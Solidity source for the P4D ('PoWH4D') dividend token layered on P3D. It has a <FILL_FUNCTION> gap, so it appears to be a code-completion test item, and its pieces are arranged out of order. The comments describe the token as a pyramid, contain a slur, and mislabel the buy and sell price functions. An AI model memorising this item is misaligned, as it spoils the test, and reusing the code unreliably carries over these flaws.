require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); updateSubdivsFor(_customerAddress); updateSubdivsFor(_toAddress); // withdraw and store all outstanding dividends first (if there is any) if ((dividendsOf(_customerAddress) + referralDividendsOf(_customerAddress)) > 0) withdrawInternal(_customerAddress); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); // update dividend trackers payoutsTo_[_customerAddress] -= (int256)(profitPerShare_ * _amountOfTokens); payoutsTo_[_toAddress] += (int256)(profitPerShare_ * _amountOfTokens); // fire event emit Transfer(_customerAddress, _toAddress, _amountOfTokens); // ERC20 return true; } function purchaseInternal(address _sender, uint256 _incomingEthereum, address _referredBy) purchaseFilter(_sender, _incomingEthereum) internal returns(uint256) { uint256 purchaseAmount = _incomingEthereum; uint256 excess = 0; if (totalInputETH_ <= initialBuyLimitCap_) { // check if the total input ETH is less than the cap if (purchaseAmount > initialBuyLimitPerTx_) { // if so check if the transaction is over the initial buy limit per transaction purchaseAmount = initialBuyLimitPerTx_; excess = SafeMath.sub(_incomingEthereum, purchaseAmount); } totalInputETH_ = SafeMath.add(totalInputETH_, purchaseAmount); } // return the excess if there is any if (excess > 0) { _sender.transfer(excess); } // buy P3D tokens with the entire purchase amount // even though _P3D.buy() returns uint256, it was never implemented properly inside the P3D contract // so in order to find out how much P3D was purchased, you need to check the balance first then compare // the balance after the purchase and the difference will be the amount purchased uint256 tmpBalanceBefore = _P3D.myTokens(); _P3D.buy.value(purchaseAmount)(_referredBy); uint256 purchasedP3D = SafeMath.sub(_P3D.myTokens(), tmpBalanceBefore); return purchaseTokens(_sender, purchasedP3D, _referredBy); } function purchaseTokens(address _sender, uint256 _incomingP3D, address _referredBy) internal returns(uint256) { updateSubdivsFor(_sender); // data setup uint256 _undividedDividends = SafeMath.div(SafeMath.mul(_incomingP3D, buyDividendFee_), 100); uint256 _referralBonus = SafeMath.div(_undividedDividends, 3); uint256 _dividends = SafeMath.sub(_undividedDividends, _referralBonus); uint256 _taxedP3D = SafeMath.sub(_incomingP3D, _undividedDividends); uint256 _amountOfTokens = P3DtoTokens_(_taxedP3D); uint256 _fee = _dividends * magnitude; // no point in continuing execution if OP is a poorfag russian hacker // prevents overflow in the case that the pyramid somehow magically starts being used by everyone in the world // (or hackers) // and yes we know that the safemath function automatically rules out the "greater then" equasion. require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens, tokenSupply_) > tokenSupply_)); // is the user referred by a masternode? if ( // is this a referred purchase? _referredBy != address(0x0) && // no cheating! _referredBy != _sender && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode tokenBalanceLedger_[_referredBy] >= stakingRequirement ) { // wealth redistribution referralBalance_[_referredBy] = SafeMath.add(referralBalance_[_referredBy], _referralBonus); } else { // no ref purchase // add the referral bonus back to the global dividends cake _dividends = SafeMath.add(_dividends, _referralBonus); _fee = _dividends * magnitude; } // we can't give people infinite P3D if(tokenSupply_ > 0){ // add tokens to the pool tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens); // take the amount of dividends gained through this transaction, and allocates them evenly to each shareholder profitPerShare_ += (_dividends * magnitude / (tokenSupply_)); // calculate the amount of tokens the customer receives over their purchase _fee = _fee - (_fee - (_amountOfTokens * (_dividends * magnitude / (tokenSupply_)))); } else { // add tokens to the pool tokenSupply_ = _amountOfTokens; } // update circulating supply & the ledger address for the customer tokenBalanceLedger_[_sender] = SafeMath.add(tokenBalanceLedger_[_sender], _amountOfTokens); // Tells the contract that the buyer doesn't deserve dividends for the tokens before they owned them; // really I know you think you do but you don't payoutsTo_[_sender] += (int256)((profitPerShare_ * _amountOfTokens) - _fee); // fire events emit onTokenPurchase(_sender, _incomingP3D, _amountOfTokens, _referredBy); emit Transfer(address(0x0), _sender, _amountOfTokens); return _amountOfTokens; } /** * Calculate token price based on an amount of incoming P3D * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function P3DtoTokens_(uint256 _P3D_received) internal view returns(uint256) { uint256 _tokenPriceInitial = tokenPriceInitial_ * 1e18; uint256 _tokensReceived = ( ( // underflow attempts BTFO SafeMath.sub( (sqrt ( (_tokenPriceInitial**2) + (2 * (tokenPriceIncremental_ * 1e18)*(_P3D_received * 1e18)) + (((tokenPriceIncremental_)**2) * (tokenSupply_**2)) + (2 * (tokenPriceIncremental_) * _tokenPriceInitial * tokenSupply_) ) ), _tokenPriceInitial ) ) / (tokenPriceIncremental_) ) - (tokenSupply_); return _tokensReceived; } /** * Calculate token sell value. * It's an algorithm, hopefully we gave you the whitepaper with it in scientific notation; * Some conversions occurred to prevent decimal errors or underflows / overflows in solidity code. */ function tokensToP3D_(uint256 _P4D_tokens) internal view returns(uint256) { uint256 tokens_ = (_P4D_tokens + 1e18); uint256 _tokenSupply = (tokenSupply_ + 1e18); uint256 _P3D_received = ( // underflow attempts BTFO SafeMath.sub( ( ( ( tokenPriceInitial_ + (tokenPriceIncremental_ * (_tokenSupply / 1e18)) ) - tokenPriceIncremental_ ) * (tokens_ - 1e18) ), (tokenPriceIncremental_ * ((tokens_**2 - tokens_) / 1e18)) / 2 ) / 1e18); return _P3D_received; } // This is where all your gas goes, sorry // Not sorry, you probably only paid 1 gwei function sqrt(uint x) internal pure returns (uint y) { uint z = (x + 1) / 2; y = x; while (z < y) { y = z; z = (x / z + z) / 2; } } /** * Additional check that the address we are sending tokens to is a contract * assemble the given address bytecode. If bytecode exists then the _addr is a contract. */ function isContract(address _addr) internal constant returns(bool) { // retrieve the size of the code on target address, this needs assembly uint length; assembly { length := extcodesize(_addr) } return length > 0; } /** * Utility method to help store the registered names */ function stringToBytes32(string memory _s) internal pure returns(bytes32 result) { bytes memory tmpEmptyStringTest = bytes(_s); if (tmpEmptyStringTest.length == 0) { return 0x0; } assembly { result := mload(add(_s, 32)) } } /** * Utility method to help read the registered names */ function bytes32ToString(bytes32 _b) internal pure returns(string) { bytes memory bytesString = new bytes(32); uint charCount = 0; for (uint256 i = 0; i < 32; i++) { byte char = byte(bytes32(uint(_b) * 2 ** (8 * i))); if (char != 0) { bytesString[charCount++] = char; } } bytes memory bytesStringTrimmed = new bytes(charCount); for (i = 0; i < charCount; i++) { bytesStringTrimmed[i] = bytesString[i]; } return string(bytesStringTrimmed); } }
contract P4D { /*================================= = MODIFIERS = =================================*/ // only people with tokens modifier onlyBagholders() { require(myTokens() > 0); _; } // administrators can: // -> change the name of the contract // -> change the name of the token // -> change the PoS difficulty (how many tokens it costs to hold a masternode, in case it gets crazy high later) // -> allow a contract to accept P4D tokens // they CANNOT: // -> take funds // -> disable withdrawals // -> kill the contract // -> change the price of tokens modifier onlyAdministrator() { require(administrators[msg.sender] || msg.sender == _dev); _; } // ensures that the first tokens in the contract will be equally distributed // meaning, no divine dump will be ever possible // result: healthy longevity. modifier purchaseFilter(address _sender, uint256 _amountETH) { require(!isContract(_sender) || canAcceptTokens_[_sender]); if (now >= ACTIVATION_TIME) { onlyAmbassadors = false; } // are we still in the vulnerable phase? // if so, enact anti early whale protocol if (onlyAmbassadors && ((totalAmbassadorQuotaSpent_ + _amountETH) <= ambassadorQuota_)) { require( // is the customer in the ambassador list? ambassadors_[_sender] == true && // does the customer purchase exceed the max ambassador quota? (ambassadorAccumulatedQuota_[_sender] + _amountETH) <= ambassadorMaxPurchase_ ); // updated the accumulated quota ambassadorAccumulatedQuota_[_sender] = SafeMath.add(ambassadorAccumulatedQuota_[_sender], _amountETH); totalAmbassadorQuotaSpent_ = SafeMath.add(totalAmbassadorQuotaSpent_, _amountETH); // execute _; } else { require(!onlyAmbassadors); _; } } /*============================== = EVENTS = ==============================*/ event onTokenPurchase( address indexed _customerAddress, uint256 _incomingP3D, uint256 _tokensMinted, address indexed _referredBy ); event onTokenSell( address indexed _customerAddress, uint256 _tokensBurned, uint256 _P3D_received ); event onReinvestment( address indexed _customerAddress, uint256 _P3D_reinvested, uint256 _tokensMinted ); event onSubdivsReinvestment( address indexed _customerAddress, uint256 _ETH_reinvested, uint256 _tokensMinted ); event onWithdraw( address indexed _customerAddress, uint256 _P3D_withdrawn ); event onSubdivsWithdraw( address indexed _customerAddress, uint256 _ETH_withdrawn ); event onNameRegistration( address indexed _customerAddress, string _registeredName ); // ERC-20 event Transfer( address indexed _from, address indexed _to, uint256 _tokens ); event Approval( address indexed _tokenOwner, address indexed _spender, uint256 _tokens ); /*===================================== = CONFIGURABLES = =====================================*/ string public name = "PoWH4D"; string public symbol = "P4D"; uint256 constant public decimals = 18; uint256 constant internal buyDividendFee_ = 10; // 10% dividend tax on each buy uint256 constant internal sellDividendFee_ = 5; // 5% dividend tax on each sell uint256 internal tokenPriceInitial_; // set in the constructor uint256 constant internal tokenPriceIncremental_ = 1e9; // 1/10th the incremental of P3D uint256 constant internal magnitude = 2**64; uint256 public stakingRequirement = 1e22; // 10,000 P4D uint256 constant internal initialBuyLimitPerTx_ = 1 ether; uint256 constant internal initialBuyLimitCap_ = 100 ether; uint256 internal totalInputETH_ = 0; // ambassador program mapping(address => bool) internal ambassadors_; uint256 constant internal ambassadorMaxPurchase_ = 1 ether; uint256 constant internal ambassadorQuota_ = 12 ether; uint256 internal totalAmbassadorQuotaSpent_ = 0; address internal _dev; uint256 public ACTIVATION_TIME; /*================================ = DATASETS = ================================*/ // amount of shares for each address (scaled number) mapping(address => uint256) internal tokenBalanceLedger_; mapping(address => uint256) internal referralBalance_; mapping(address => int256) internal payoutsTo_; mapping(address => uint256) internal dividendsStored_; mapping(address => uint256) internal ambassadorAccumulatedQuota_; uint256 internal tokenSupply_ = 0; uint256 internal profitPerShare_; // administrator list (see above on what they can do) mapping(address => bool) public administrators; // when this is set to true, only ambassadors can purchase tokens (this prevents a whale premine, it ensures a fairly distributed upper pyramid) bool public onlyAmbassadors = true; // contracts can interact with the exchange but only approved ones mapping(address => bool) public canAcceptTokens_; // ERC-20 standard mapping(address => mapping (address => uint256)) public allowed; // P3D contract reference P3D internal _P3D; // structure to handle the distribution of ETH divs paid out by the P3D contract struct P3D_dividends { uint256 balance; uint256 lastDividendPoints; } mapping(address => P3D_dividends) internal divsMap_; uint256 internal totalDividendPoints_; uint256 internal lastContractBalance_; // structure to handle the global unique name/vanity registration struct NameRegistry { uint256 activeIndex; bytes32[] registeredNames; } mapping(address => NameRegistry) internal customerNameMap_; mapping(bytes32 => address) internal globalNameMap_; uint256 constant internal nameRegistrationFee = 0.01 ether; /*======================================= = PUBLIC FUNCTIONS = =======================================*/ /* * -- APPLICATION ENTRY POINTS -- */ constructor(uint256 _activationTime, address _P3D_address) public { _dev = msg.sender; ACTIVATION_TIME = _activationTime; totalDividendPoints_ = 1; // non-zero value _P3D = P3D(_P3D_address); // virtualized purchase of the entire ambassador quota // calculateTokensReceived() for this contract will return how many tokens can be bought starting at 1e9 P3D per P4D // as the price increases by the incremental each time we can just multiply it out and scale it back to e18 // // this is used as the initial P3D-P4D price as it makes it fairer on other investors that aren't ambassadors uint256 _P4D_received; (, _P4D_received) = calculateTokensReceived(ambassadorQuota_); tokenPriceInitial_ = tokenPriceIncremental_ * _P4D_received / 1e18; // admins administrators[_dev] = true; // ambassadors ambassadors_[_dev] = true; } /** * Converts all incoming ethereum to tokens for the caller, and passes down the referral address */ function buy(address _referredBy) payable public returns(uint256) { return purchaseInternal(msg.sender, msg.value, _referredBy); } /** * Buy with a registered name as the referrer. * If the name is unregistered, address(0x0) will be the ref */ function buyWithNameRef(string memory _nameOfReferrer) payable public returns(uint256) { return purchaseInternal(msg.sender, msg.value, ownerOfName(_nameOfReferrer)); } /** * Fallback function to handle ethereum that was sent straight to the contract * Unfortunately we cannot use a referral address this way. */ function() payable public { if (msg.sender != address(_P3D)) { purchaseInternal(msg.sender, msg.value, address(0x0)); } // all other ETH is from the withdrawn dividends from // the P3D contract, this is distributed out via the // updateSubdivsFor() method // no more computation can be done inside this function // as when you call address.transfer(uint256), only // 2,300 gas is forwarded to this function so no variables // can be mutated with that limit // address(this).balance will represent the total amount // of ETH dividends from the P3D contract (minus the amount // that's already been withdrawn) } /** * Distribute any ETH sent to this method out to all token holders */ function donate() payable public { // nothing happens here in order to save gas // all of the ETH sent to this function will be distributed out // via the updateSubdivsFor() method // // this method is designed for external contracts that have // extra ETH that they want to evenly distribute to all // P4D token holders } /** * Allows a customer to pay for a global name on the P4D network * There's a 0.01 ETH registration fee per name * All ETH is distributed to P4D token holders via updateSubdivsFor() */ function registerName(string memory _name) payable public { address _customerAddress = msg.sender; require(!onlyAmbassadors || ambassadors_[_customerAddress]); require(bytes(_name).length > 0); require(msg.value >= nameRegistrationFee); uint256 excess = SafeMath.sub(msg.value, nameRegistrationFee); bytes32 bytesName = stringToBytes32(_name); require(globalNameMap_[bytesName] == address(0x0)); NameRegistry storage customerNamesInfo = customerNameMap_[_customerAddress]; customerNamesInfo.registeredNames.push(bytesName); customerNamesInfo.activeIndex = customerNamesInfo.registeredNames.length - 1; globalNameMap_[bytesName] = _customerAddress; if (excess > 0) { _customerAddress.transfer(excess); } // fire event emit onNameRegistration(_customerAddress, _name); // similar to the fallback and donate functions, the ETH cost of // the name registration fee (0.01 ETH) will be distributed out // to all P4D tokens holders via the updateSubdivsFor() method } /** * Change your active name to a name that you've already purchased */ function changeActiveNameTo(string memory _name) public { address _customerAddress = msg.sender; require(_customerAddress == ownerOfName(_name)); bytes32 bytesName = stringToBytes32(_name); NameRegistry storage customerNamesInfo = customerNameMap_[_customerAddress]; uint256 newActiveIndex = 0; for (uint256 i = 0; i < customerNamesInfo.registeredNames.length; i++) { if (bytesName == customerNamesInfo.registeredNames[i]) { newActiveIndex = i; break; } } customerNamesInfo.activeIndex = newActiveIndex; } /** * Similar to changeActiveNameTo() without the need to iterate through your name list */ function changeActiveNameIndexTo(uint256 _newActiveIndex) public { address _customerAddress = msg.sender; NameRegistry storage customerNamesInfo = customerNameMap_[_customerAddress]; require(_newActiveIndex < customerNamesInfo.registeredNames.length); customerNamesInfo.activeIndex = _newActiveIndex; } /** * Converts all of caller's dividends to tokens. * The argument is not used but it allows MetaMask to render * 'Reinvest' in your transactions list once the function sig * is registered to the contract at; * https://etherscan.io/address/0x44691B39d1a75dC4E0A0346CBB15E310e6ED1E86#writeContract */ function reinvest(bool) public { // setup data address _customerAddress = msg.sender; withdrawInternal(_customerAddress); uint256 reinvestableDividends = dividendsStored_[_customerAddress]; reinvestAmount(reinvestableDividends); } /** * Converts a portion of caller's dividends to tokens. */ function reinvestAmount(uint256 _amountOfP3D) public { // setup data address _customerAddress = msg.sender; withdrawInternal(_customerAddress); if (_amountOfP3D > 0 && _amountOfP3D <= dividendsStored_[_customerAddress]) { dividendsStored_[_customerAddress] = SafeMath.sub(dividendsStored_[_customerAddress], _amountOfP3D); // dispatch a buy order with the virtualized "withdrawn dividends" uint256 _tokens = purchaseTokens(_customerAddress, _amountOfP3D, address(0x0)); // fire event emit onReinvestment(_customerAddress, _amountOfP3D, _tokens); } } /** * Converts all of caller's subdividends to tokens. * The argument is not used but it allows MetaMask to render * 'Reinvest Subdivs' in your transactions list once the function sig * is registered to the contract at; * https://etherscan.io/address/0x44691B39d1a75dC4E0A0346CBB15E310e6ED1E86#writeContract */ function reinvestSubdivs(bool) public { // setup data address _customerAddress = msg.sender; updateSubdivsFor(_customerAddress); uint256 reinvestableSubdividends = divsMap_[_customerAddress].balance; reinvestSubdivsAmount(reinvestableSubdividends); } /** * Converts a portion of caller's subdividends to tokens. */ function reinvestSubdivsAmount(uint256 _amountOfETH) public { // setup data address _customerAddress = msg.sender; updateSubdivsFor(_customerAddress); if (_amountOfETH > 0 && _amountOfETH <= divsMap_[_customerAddress].balance) { divsMap_[_customerAddress].balance = SafeMath.sub(divsMap_[_customerAddress].balance, _amountOfETH); lastContractBalance_ = SafeMath.sub(lastContractBalance_, _amountOfETH); // purchase tokens with the ETH subdividends uint256 _tokens = purchaseInternal(_customerAddress, _amountOfETH, address(0x0)); // fire event emit onSubdivsReinvestment(_customerAddress, _amountOfETH, _tokens); } } /** * Alias of sell(), withdraw() and withdrawSubdivs(). * The argument is not used but it allows MetaMask to render * 'Exit' in your transactions list once the function sig * is registered to the contract at; * https://etherscan.io/address/0x44691B39d1a75dC4E0A0346CBB15E310e6ED1E86#writeContract */ function exit(bool) public { // get token count for caller & sell them all address _customerAddress = msg.sender; uint256 _tokens = tokenBalanceLedger_[_customerAddress]; if(_tokens > 0) sell(_tokens); // lambo delivery service withdraw(true); withdrawSubdivs(true); } /** * Withdraws all of the callers dividend earnings. * The argument is not used but it allows MetaMask to render * 'Withdraw' in your transactions list once the function sig * is registered to the contract at; * https://etherscan.io/address/0x44691B39d1a75dC4E0A0346CBB15E310e6ED1E86#writeContract */ function withdraw(bool) public { // setup data address _customerAddress = msg.sender; withdrawInternal(_customerAddress); uint256 withdrawableDividends = dividendsStored_[_customerAddress]; withdrawAmount(withdrawableDividends); } /** * Withdraws a portion of the callers dividend earnings. */ function withdrawAmount(uint256 _amountOfP3D) public { // setup data address _customerAddress = msg.sender; withdrawInternal(_customerAddress); if (_amountOfP3D > 0 && _amountOfP3D <= dividendsStored_[_customerAddress]) { dividendsStored_[_customerAddress] = SafeMath.sub(dividendsStored_[_customerAddress], _amountOfP3D); // lambo delivery service require(_P3D.transfer(_customerAddress, _amountOfP3D)); // NOTE! // P3D has a 10% transfer tax so even though this is sending your entire // dividend count to you, you will only actually receive 90%. // fire event emit onWithdraw(_customerAddress, _amountOfP3D); } } /** * Withdraws all of the callers subdividend earnings. * The argument is not used but it allows MetaMask to render * 'Withdraw Subdivs' in your transactions list once the function sig * is registered to the contract at; * https://etherscan.io/address/0x44691B39d1a75dC4E0A0346CBB15E310e6ED1E86#writeContract */ function withdrawSubdivs(bool) public { // setup data address _customerAddress = msg.sender; updateSubdivsFor(_customerAddress); uint256 withdrawableSubdividends = divsMap_[_customerAddress].balance; withdrawSubdivsAmount(withdrawableSubdividends); } <FILL_FUNCTION> /** * Liquifies tokens to P3D. */ function sell(uint256 _amountOfTokens) onlyBagholders() public { // setup data address _customerAddress = msg.sender; updateSubdivsFor(_customerAddress); // russian hackers BTFO require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); uint256 _tokens = _amountOfTokens; uint256 _P3D_amount = tokensToP3D_(_tokens); uint256 _dividends = SafeMath.div(SafeMath.mul(_P3D_amount, sellDividendFee_), 100); uint256 _taxedP3D = SafeMath.sub(_P3D_amount, _dividends); // burn the sold tokens tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens); tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens); // update dividends tracker int256 _updatedPayouts = (int256)(profitPerShare_ * _tokens + (_taxedP3D * magnitude)); payoutsTo_[_customerAddress] -= _updatedPayouts; // dividing by zero is a bad idea if (tokenSupply_ > 0) { // update the amount of dividends per token profitPerShare_ = SafeMath.add(profitPerShare_, (_dividends * magnitude) / tokenSupply_); } // fire events emit onTokenSell(_customerAddress, _tokens, _taxedP3D); emit Transfer(_customerAddress, address(0x0), _tokens); } /** * Transfer tokens from the caller to a new holder. * REMEMBER THIS IS 0% TRANSFER FEE */ function transfer(address _toAddress, uint256 _amountOfTokens) onlyBagholders() public returns(bool) { address _customerAddress = msg.sender; return transferInternal(_customerAddress, _toAddress, _amountOfTokens); } /** * Transfer token to a specified address and forward the data to recipient * ERC-677 standard * https://github.com/ethereum/EIPs/issues/677 * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transferAndCall(address _to, uint256 _value, bytes _data) external returns(bool) { require(canAcceptTokens_[_to]); // approved contracts only require(transfer(_to, _value)); // do a normal token transfer to the contract if (isContract(_to)) { usingP4D receiver = usingP4D(_to); require(receiver.tokenCallback(msg.sender, _value, _data)); } return true; } /** * ERC-20 token standard for transferring tokens on anothers behalf */ function transferFrom(address _from, address _to, uint256 _amountOfTokens) public returns(bool) { require(allowed[_from][msg.sender] >= _amountOfTokens); allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _amountOfTokens); return transferInternal(_from, _to, _amountOfTokens); } /** * ERC-20 token standard for allowing another address to transfer your tokens * on your behalf up to a certain limit */ function approve(address _spender, uint256 _tokens) public returns(bool) { allowed[msg.sender][_spender] = _tokens; emit Approval(msg.sender, _spender, _tokens); return true; } /** * ERC-20 token standard for approving and calling an external * contract with data */ function approveAndCall(address _to, uint256 _value, bytes _data) external returns(bool) { require(approve(_to, _value)); // do a normal approval if (isContract(_to)) { controllingP4D receiver = controllingP4D(_to); require(receiver.approvalCallback(msg.sender, _value, _data)); } return true; } /*---------- ADMINISTRATOR ONLY FUNCTIONS ----------*/ /** * In case one of us dies, we need to replace ourselves. */ function setAdministrator(address _identifier, bool _status) onlyAdministrator() public { administrators[_identifier] = _status; } /** * Add a new ambassador to the exchange */ function setAmbassador(address _identifier, bool _status) onlyAdministrator() public { ambassadors_[_identifier] = _status; } /** * Precautionary measures in case we need to adjust the masternode rate. */ function setStakingRequirement(uint256 _amountOfTokens) onlyAdministrator() public { stakingRequirement = _amountOfTokens; } /** * Add a sub-contract, which can accept P4D tokens */ function setCanAcceptTokens(address _address) onlyAdministrator() public { require(isContract(_address)); canAcceptTokens_[_address] = true; // one way switch } /** * If we want to rebrand, we can. */ function setName(string _name) onlyAdministrator() public { name = _name; } /** * If we want to rebrand, we can. */ function setSymbol(string _symbol) onlyAdministrator() public { symbol = _symbol; } /*---------- HELPERS AND CALCULATORS ----------*/ /** * Method to view the current P3D tokens stored in the contract */ function totalBalance() public view returns(uint256) { return _P3D.myTokens(); } /** * Retrieve the total token supply. */ function totalSupply() public view returns(uint256) { return tokenSupply_; } /** * Retrieve the tokens owned by the caller. */ function myTokens() public view returns(uint256) { address _customerAddress = msg.sender; return balanceOf(_customerAddress); } /** * Retrieve the dividends owned by the caller. * If `_includeReferralBonus` is set to true, the referral bonus will be included in the calculations. * The reason for this, is that in the frontend, we will want to get the total divs (global + ref) * But in the internal calculations, we want them separate. */ function myDividends(bool _includeReferralBonus) public view returns(uint256) { address _customerAddress = msg.sender; return (_includeReferralBonus ? dividendsOf(_customerAddress) + referralDividendsOf(_customerAddress) : dividendsOf(_customerAddress)); } /** * Retrieve the subdividend owned by the caller. */ function myStoredDividends() public view returns(uint256) { address _customerAddress = msg.sender; return storedDividendsOf(_customerAddress); } /** * Retrieve the subdividend owned by the caller. */ function mySubdividends() public view returns(uint256) { address _customerAddress = msg.sender; return subdividendsOf(_customerAddress); } /** * Retrieve the token balance of any single address. */ function balanceOf(address _customerAddress) public view returns(uint256) { return tokenBalanceLedger_[_customerAddress]; } /** * Retrieve the dividend balance of any single address. */ function dividendsOf(address _customerAddress) public view returns(uint256) { return (uint256)((int256)(profitPerShare_ * tokenBalanceLedger_[_customerAddress]) - payoutsTo_[_customerAddress]) / magnitude; } /** * Retrieve the referred dividend balance of any single address. */ function referralDividendsOf(address _customerAddress) public view returns(uint256) { return referralBalance_[_customerAddress]; } /** * Retrieve the stored dividend balance of any single address. */ function storedDividendsOf(address _customerAddress) public view returns(uint256) { return dividendsStored_[_customerAddress] + dividendsOf(_customerAddress) + referralDividendsOf(_customerAddress); } /** * Retrieve the subdividend balance owing of any single address. */ function subdividendsOwing(address _customerAddress) public view returns(uint256) { return (divsMap_[_customerAddress].lastDividendPoints == 0 ? 0 : (balanceOf(_customerAddress) * (totalDividendPoints_ - divsMap_[_customerAddress].lastDividendPoints)) / magnitude); } /** * Retrieve the subdividend balance of any single address. */ function subdividendsOf(address _customerAddress) public view returns(uint256) { return SafeMath.add(divsMap_[_customerAddress].balance, subdividendsOwing(_customerAddress)); } /** * Retrieve the allowance of an owner and spender. */ function allowance(address _tokenOwner, address _spender) public view returns(uint256) { return allowed[_tokenOwner][_spender]; } /** * Retrieve all name information about a customer */ function namesOf(address _customerAddress) public view returns(uint256 activeIndex, string activeName, bytes32[] customerNames) { NameRegistry memory customerNamesInfo = customerNameMap_[_customerAddress]; uint256 length = customerNamesInfo.registeredNames.length; customerNames = new bytes32[](length); for (uint256 i = 0; i < length; i++) { customerNames[i] = customerNamesInfo.registeredNames[i]; } activeIndex = customerNamesInfo.activeIndex; activeName = activeNameOf(_customerAddress); } /** * Retrieves the address of the owner from the name */ function ownerOfName(string memory _name) public view returns(address) { if (bytes(_name).length > 0) { bytes32 bytesName = stringToBytes32(_name); return globalNameMap_[bytesName]; } else { return address(0x0); } } /** * Retrieves the active name of a customer */ function activeNameOf(address _customerAddress) public view returns(string) { NameRegistry memory customerNamesInfo = customerNameMap_[_customerAddress]; if (customerNamesInfo.registeredNames.length > 0) { bytes32 activeBytesName = customerNamesInfo.registeredNames[customerNamesInfo.activeIndex]; return bytes32ToString(activeBytesName); } else { return ""; } } /** * Return the buy price of 1 individual token. */ function sellPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ - tokenPriceIncremental_; } else { uint256 _P3D_received = tokensToP3D_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_P3D_received, sellDividendFee_), 100); uint256 _taxedP3D = SafeMath.sub(_P3D_received, _dividends); return _taxedP3D; } } /** * Return the sell price of 1 individual token. */ function buyPrice() public view returns(uint256) { // our calculation relies on the token supply, so we need supply. Doh. if(tokenSupply_ == 0){ return tokenPriceInitial_ + tokenPriceIncremental_; } else { uint256 _P3D_received = tokensToP3D_(1e18); uint256 _dividends = SafeMath.div(SafeMath.mul(_P3D_received, buyDividendFee_), 100); uint256 _taxedP3D = SafeMath.add(_P3D_received, _dividends); return _taxedP3D; } } /** * Function for the frontend to dynamically retrieve the price scaling of buy orders. */ function calculateTokensReceived(uint256 _amountOfETH) public view returns(uint256 _P3D_received, uint256 _P4D_received) { uint256 P3D_received = _P3D.calculateTokensReceived(_amountOfETH); uint256 _dividends = SafeMath.div(SafeMath.mul(P3D_received, buyDividendFee_), 100); uint256 _taxedP3D = SafeMath.sub(P3D_received, _dividends); uint256 _amountOfTokens = P3DtoTokens_(_taxedP3D); return (P3D_received, _amountOfTokens); } /** * Function for the frontend to dynamically retrieve the price scaling of sell orders. */ function calculateAmountReceived(uint256 _tokensToSell) public view returns(uint256) { require(_tokensToSell <= tokenSupply_); uint256 _P3D_received = tokensToP3D_(_tokensToSell); uint256 _dividends = SafeMath.div(SafeMath.mul(_P3D_received, sellDividendFee_), 100); uint256 _taxedP3D = SafeMath.sub(_P3D_received, _dividends); return _taxedP3D; } /** * Utility method to expose the P3D address for any child contracts to use */ function P3D_address() public view returns(address) { return address(_P3D); } /** * Utility method to return all of the data needed for the front end in 1 call */ function fetchAllDataForCustomer(address _customerAddress) public view returns(uint256 _totalSupply, uint256 _totalBalance, uint256 _buyPrice, uint256 _sellPrice, uint256 _activationTime, uint256 _customerTokens, uint256 _customerUnclaimedDividends, uint256 _customerStoredDividends, uint256 _customerSubdividends) { _totalSupply = totalSupply(); _totalBalance = totalBalance(); _buyPrice = buyPrice(); _sellPrice = sellPrice(); _activationTime = ACTIVATION_TIME; _customerTokens = balanceOf(_customerAddress); _customerUnclaimedDividends = dividendsOf(_customerAddress) + referralDividendsOf(_customerAddress); _customerStoredDividends = storedDividendsOf(_customerAddress); _customerSubdividends = subdividendsOf(_customerAddress); } /*========================================== = INTERNAL FUNCTIONS = ==========================================*/ // This function should always be called before a customers P4D balance changes. // It's responsible for withdrawing any outstanding ETH dividends from the P3D exchange // as well as distrubuting all of the additional ETH balance since the last update to // all of the P4D token holders proportionally. // After this it will move any owed subdividends into the customers withdrawable subdividend balance. function updateSubdivsFor(address _customerAddress) internal { // withdraw the P3D dividends first if (_P3D.myDividends(true) > 0) { _P3D.withdraw(); } // check if we have additional ETH in the contract since the last update uint256 contractBalance = address(this).balance; if (contractBalance > lastContractBalance_ && totalSupply() != 0) { uint256 additionalDivsFromP3D = SafeMath.sub(contractBalance, lastContractBalance_); totalDividendPoints_ = SafeMath.add(totalDividendPoints_, SafeMath.div(SafeMath.mul(additionalDivsFromP3D, magnitude), totalSupply())); lastContractBalance_ = contractBalance; } // if this is the very first time this is called for a customer, set their starting point if (divsMap_[_customerAddress].lastDividendPoints == 0) { divsMap_[_customerAddress].lastDividendPoints = totalDividendPoints_; } // move any owing subdividends into the customers subdividend balance uint256 owing = subdividendsOwing(_customerAddress); if (owing > 0) { divsMap_[_customerAddress].balance = SafeMath.add(divsMap_[_customerAddress].balance, owing); divsMap_[_customerAddress].lastDividendPoints = totalDividendPoints_; } } function withdrawInternal(address _customerAddress) internal { // setup data // dividendsOf() will return only divs, not the ref. bonus uint256 _dividends = dividendsOf(_customerAddress); // get ref. bonus later in the code // update dividend tracker payoutsTo_[_customerAddress] += (int256)(_dividends * magnitude); // add ref. bonus _dividends += referralBalance_[_customerAddress]; referralBalance_[_customerAddress] = 0; // store the divs dividendsStored_[_customerAddress] = SafeMath.add(dividendsStored_[_customerAddress], _dividends); } function transferInternal(address _customerAddress, address _toAddress, uint256 _amountOfTokens) internal returns(bool) { // make sure we have the requested tokens require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]); updateSubdivsFor(_customerAddress); updateSubdivsFor(_toAddress); // withdraw and store all outstanding dividends first (if there is any) if ((dividendsOf(_customerAddress) + referralDividendsOf(_customerAddress)) > 0) withdrawInternal(_customerAddress); // exchange tokens tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens); tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens); 